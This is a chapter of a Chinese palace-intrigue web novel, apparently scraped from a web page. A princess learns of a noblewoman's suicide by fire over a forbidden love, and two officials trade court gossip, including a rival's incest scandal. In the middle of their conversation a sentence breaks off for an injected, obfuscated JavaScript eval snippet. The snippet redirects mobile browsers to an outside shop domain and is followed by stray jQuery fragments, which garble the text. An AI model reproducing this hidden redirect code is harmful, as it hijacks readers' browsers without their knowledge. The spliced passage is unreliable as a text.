54. 第五十四章 弦歌绝
    长英看见了沈明枳眼神中的探寻,连忙热络地介绍:“这是尚仪局的崔娘子,后来去了菁明书院,现在是已经放出宫了。咦?崔娘子,听你说你是岭南人,不是要回家乡,怎么现在还在双塔寺啊?”

    崔嫣低眉瞬目地回禀:“回公主,奴孤身一人无处可去,只能暂时寄居于此。”

    长英依旧奇怪:“可这是寺庙,双塔寺附近不是有座丹峰庵么,那儿都是女尼,更加方便点。”

    崔嫣不知如何与年纪尚小、不谙世事的长英解释尼姑庵里的凶险,就听沈明枳对着宁晨铎笑道:“真巧,宁公子也在,你们认识?”

    人多眼杂,崔嫣引着他们往僻静处走,宁晨铎解释道:“是这样,崔娘子在菁明书院掌勺,突然一日饭菜换了口味,倒极其对恩师危老的胃口,危老就让我去问问,这便认识了。”

    “原来如此。”沈明枳抿唇一笑,又看向了还在喋喋关心着崔嫣生活起居的长英,“长英,你与崔娘子可真亲热啊,你十姐姐我倒也没得过你这样的关心。”

    长英粲然一笑:“十姐姐是吃醋啦!哎,嫂嫂送我回宫孝敬母妃、孝顺父皇,硬是要我把宫里的规矩重新再学一遍,这就认识了崔娘子啊。崔娘子人美心善,从不会像嫂嫂那样苛责我,我听长华说,她也极其喜欢崔娘子。”

    沈明枳笑着摇摇头,面上尽是无奈。

    “啊呀!又快要到我了吧!”长英一拍脑门,拉起崔嫣的手就往秋千处跑,单留下沈明枳和宁晨铎远远走到了墙角廊尽之处。

    “宁公子来上香?”

    宁晨铎摇摇头,露出一抹哀色:“我来取玉尘的遗物。”

    沈明枳一怔:“宁姑娘她?”

    宁晨铎叹息,犹豫挣扎片刻,方才开口:“玉尘被家父家母送回了老家,但她想不开,趁下人不注意,纵火自焚了。”

    “怎会如此?”

    宁晨铎摇头本不欲多说,但他看见了沈明枳眼中的怜惜,那股无处发泄的痛苦和迷惘顿时重占山头,摇旗呐喊着逼他将宁玉尘的旧事吐得干净:“玉尘她,与祝先生两情相悦,但是家里不允……殿下也曾听过京中的那些流言吧,就是那时,家父家母将她送回了老家,祝先生也南下回了江南,谁知道前几天传来消息,说她精神失常,边弹着琴,边纵火赴死……”

    “节哀。”

    宁晨铎叹气:“玉尘将她最爱的那张琴存在了双塔寺,家里都不知道,不过我想,她应当想再看看这张琴的。”

    沈明枳沉默地看向两人的来路,藤蔓下垂、叶叶相衔,远处依然是尘世里充满诱惑的热闹,天上孤独地飞着归鸟,宁晨铎身上极淡的熏香流过鼻尖,她蓦然看见了“树毁人亡”这四个字,被人世痴情血淋淋地写满了虚空。

    宁晨铎看着有些出神的沈明枳,将堵在心口的话咽了下去。

    其实本来,父亲母亲在玉尘的倔强面前已经服软,但他们要顾及宁氏全族的荣耀,故而打算将玉尘送回鲁中老家,任由她和朱遗温做一对不见天日的比翼鸳鸯。

    可她的梦碎了,朱遗温自认“配不上宁小姐高致”,更怕“毁了宁小姐前程”,于是一声不吭回了苏州。于玉尘看来,她的爱人就此人间蒸发。

    “琴逢知己方才有音,现在祝先生不在,臣能否耽搁殿下片刻,用玉尘的琴弹最后一首曲,便算是诀别。”

    凤兮凤兮归故乡,遨游四海求其凰。

    时未遇兮无所将,何悟今兮升斯堂!

    有艳淑女在闺房,室迩人遐毒我肠。

    何缘交颈为鸳鸯,胡颉颃兮共翱翔!

    凰兮凰兮从我栖,得托孳尾永为妃。

    交情通意心和谐,中夜相从知者谁?

    双翼俱起翻高飞,无感我思使余悲。

    宁晨铎在寮房内弹着遗思公子自谱的《凤求凰》,沈明枳站在廊下看着墙头天上云卷云舒。

    这本是求爱的心志剖白,宁晨铎的琴音却如泣如诉,沈明枳的脑海里本该是绢帛千万写遍赞叹,可她两眼惘然,只在弦起的第一个音流入心中时,一贯以典范自戒自许的她,霍然起来一个粗鲁的念头,想要大骂这份催人心肝的“深情”。

    座上琴心,机中锦字,最萦怀抱。

    可她不明白,怎么也想不明白,纵然是伯牙断弦、知音难觅,宁玉尘为了一番苦恋居然能走到死生纠缠的地步!她不明白这份“深情”,说出来不过寥寥数语、投诸爱欲又不过春宵一夜,是写不尽的纸短情长,是西窗烛、巴山雨,是山上雪、云中月。就算这些身外之事统统求不得、也不去求,她还有琴,还有琴意,这些她爱了一辈子的东西,怎也都成了身外之物!

    身外之物,不足以萦怀抱。

    大姐姐对齐珏的深情断送在西北长关,而宁玉尘的这番深情断送在鲁中江南,寇妃的深情更断送了后宫中数不尽的人命生灵。沈明枳倒吸一口凉气,这便知道了遁入空门必绝情根,从来不是神佛的苛责。

    最后一个音落在了变徵,如同玉瓶倾倒、铜镜迸裂,墙头的一对白羽鹁鸽骤然惊起,扑棱棱飞入密丛。树冠惊摇不已,在“咕咕”几声鸽鸣里缓缓恢复平静。瞬息,飒飒的风粒如雨点子般打了上去,一撒就是一片萧萧树啼。

    郇寰偏头,抬手遮去携沙奔袭而来的穿石风,在风声渐熄时朝寇一爵道喜:“要恭喜寇郎中了,圣上登基后发了不少丹书铁券,但只封了两家爵位,一个宣平侯罗家,一个就是永定侯滕家,罗家是早就跟定魏王的,寇郎中能拿下永定侯世子滕文彪的亲姐姐,这可为王府立下了大功。”

    寇一爵皮笑肉不笑:“这点功劳和郇侯尚主相比,便不值一提了吧?”

    郇寰倒不否认。看来没娶到沈明枳在他心里造成的打击,不亚于处处相亲而次次铩羽,毕竟天下的贵女千千万,公主也有不少,但像沈明枳这样受宠的是独一个难寻得。不过,就算是宁晨铎尚主乃至于那个楼复得意,寇一爵都未必会这样在意,但谁让最后又压他一头的人是他郇寰。

    撂下这些杂念,郇寰严肃道:“御史的奏疏一入宫,圣上强迫郑藩虢告老的旨意就下来了,虽然没有追究‘以狄养兵’,摆明了是在平息事态,但郑藩虢下台,但荥阳郑氏居然还能闷声不吭,像是认栽了,这让人很不放心,也不知道他们背地里在谋划什么。你那里有什么消息吗?”

    寇一爵也收起戏谑心思,“他们自然不会甘心,这几天都不见动作确实很不寻常,但我早派人盯着了,郑藩虢就一直呆在老宅里闭门不出,除了卸职那天苏德惜的岳父云宝良特意去看过他,其他人都拒不相见。而云宝良他们一家都是千年王八,当乌龟当习惯了的,这种抄家灭门的买卖他们是绝对不会掺和的,至于他干嘛去慰问郑藩虢,大概是同病相怜吧。当年云家也势大,圣上好歹给了他一个兵马司指挥使的位子荣养,郑藩虢却是一撸到底彻底成了白身,他得同情曾经的同袍,也未尝不在沾沾自喜。”

    听见苏悯的名字,郇寰心里又打起鼓,但就如寇一爵所说,他们或有贼心但没贼胆,抑或是连贼心也不敢有,他不需过于担心。但一个苏悯从来都不是让他担心的全部,郇寰寻思道:“你有无听说过,义律王和郑氏有其他的来往?”

    寇一爵警惕:“你听见什么风声了?”

    郇寰摇头:“白纸黑字、铁证如山,可圣上为何不追究‘以狄养兵’的重罪?现在人情物议沸沸扬扬,虽然是责令,但面子上郑藩虢这叫‘引咎辞职’,圣上还下了诏书做了个挽留模样,根本就没把荥阳郑氏当成罪臣。”

    寇一爵立即明白了郇寰的意思:“你问的是郑藩虢亲自栽培的接班人郑弛孺吧?他的确和呼延炳十分热络,呼延炳在京时不少日子就是跟他混的。也是,他此次担任校尉随陆微护送和亲公主出关,然后就戍守边关等着三年轮换,虽然

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14050087|142272||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    只是个校尉,郑藩虢多年前就被调去了东北,可郑家在当地埋下的人脉十分深厚,俗话说强龙难压地头蛇,他如果要对朝廷不利,也并非不可。”

    他们两个的脸色都凝重起来。

    “不过我听说,圣上早派了锦麟卫随使臣一同北上,想来心中早有谋算,我们两个书生要指点江山,真是为难。”寇一爵一哂,忽记起一事,“对了,齐侯他们惯例会在落水山庄给方台使节接风,上回你正好南下没赶上,这次你来不来?或许能从他们口中挖出一点西北的时局。”

    郇寰拧眉,压低嗓音:“私下给外藩使节接风?魏王才吃了郑家这个大亏,正愁着没地方挑事,齐侯这么做岂不会落人口舌?”

    寇一爵耸肩:“这我们就管不着了,他们也知道此事不光彩,自然千百个小心,我们便不必替他们操什劳子的心了。这么听来,你不去了?”

    郇寰不语。

    “也是,我们去了能干嘛,看着他们粗人把酒言欢说战场上的交情?还是陪他们寻欢作乐谈皮肉上的感悟?有辱斯文。”

    “寇郎中消息灵通,对郑弛孺了解多少?”

    寇一爵笑:“郇尚书不妨先说说你的了解?”

    郇寰略一回忆,“听说他好色。”

    寇一爵扬眉大笑:“食色,性也!何况他们从军的,这方面再风流些也稀松平常,若是他在边关几年不进私窑还‘守身如玉’的,我倒要怀疑他身有隐疾了。”

    郇寰蹙眉:“照你这么说,外头的流言都是污蔑了。”

    “倒也不是。”寇一爵抬手搭在鼻唇之间,佯装咳嗽,低声笑道:“建安三曹家风特别,尤好人妻,这郑家的门风也是奇葩,尤爱姐妹。”

    郇寰挑眉。

    一见郇寰这幅反应,寇一爵就知道他会错意了,环顾四周见人来人往,清了清嗓子,便只能无声唇语:“乱//伦。”

    郇寰一惊,一种几乎是本能的恶心泛了上来。

    等来往过路的人都走出三尺远,他们已经到了竹林深处,寇一爵这才又道:“跟他‘兄妹媾和’的还不是一般的堂姐堂妹,是和他同母所生的亲妹妹,还是韦不决的大姨姐!不然郑藩虢会因为他‘好色’而动家法?发这么大的火?闹得人尽皆知他这个继承人是个见了女人就走不动道的?他只能用这个法子将事情压下去,不然郑氏就要沦为门阀的笑柄、郑弛孺的官位保不住、和韦家的联姻也要泡汤!”

    听了一会儿,郇寰找回自己的声音淡淡道:“那他的胆子可——真大。”

    “可不是?幸亏西北用兵,圣上不得不捧着郑家,又幸亏他家里姐姐妹妹的一箩筐,郑家来得及换新娘,韦家也同意,毕竟又不是非谁不可,一桩婚不过两家结盟的纽带,谁会在乎这个?”

    “韦不决。”

    寇一爵一愣,摩挲起下巴,“这倒是。韦家不在乎,可娶妻的是他韦不决,郑弛孺此举无疑是羞辱了他……”分析着,寇一爵回过味来了,“有道理,这就是一颗果子烂一筐的道理!公然拿他夫人的名节说事不仅不能离间他,还会惹恼他,但以此收拾郑弛孺便容易简单得多。妙啊!圣上在西北的隐忧,居然就这么解了。”

    郇寰不再说话,听着寇一爵的这些喃喃自语,隔着稀疏的几株翠竹,看着不远处热火朝天的玩闹。这是化隆城里公子哥们最爱举办的“雅集”,说是雅集,却无有一处不俗不可耐,能吟诗作对说上几句的已经难得,多见的就是而今这副场面,斗鸡走狗、赌博打球,甚至于带了几个风尘女子,躲在一旁临时搭起的竹蓬下亲热。

    不过今天的雅集没有这样光天化日的伤风败俗,中间几个少年郎正围在一起赌钱,闹哄哄的,就如那夜滕文彪做生辰时一样,直要翻上天去。

    寇一爵眼尖,一眼就看见了坐在箭靶子边上喝酒的楼复,“哟,楼二公子居然也愿意出席这样鄙陋的雅集,活久见了。”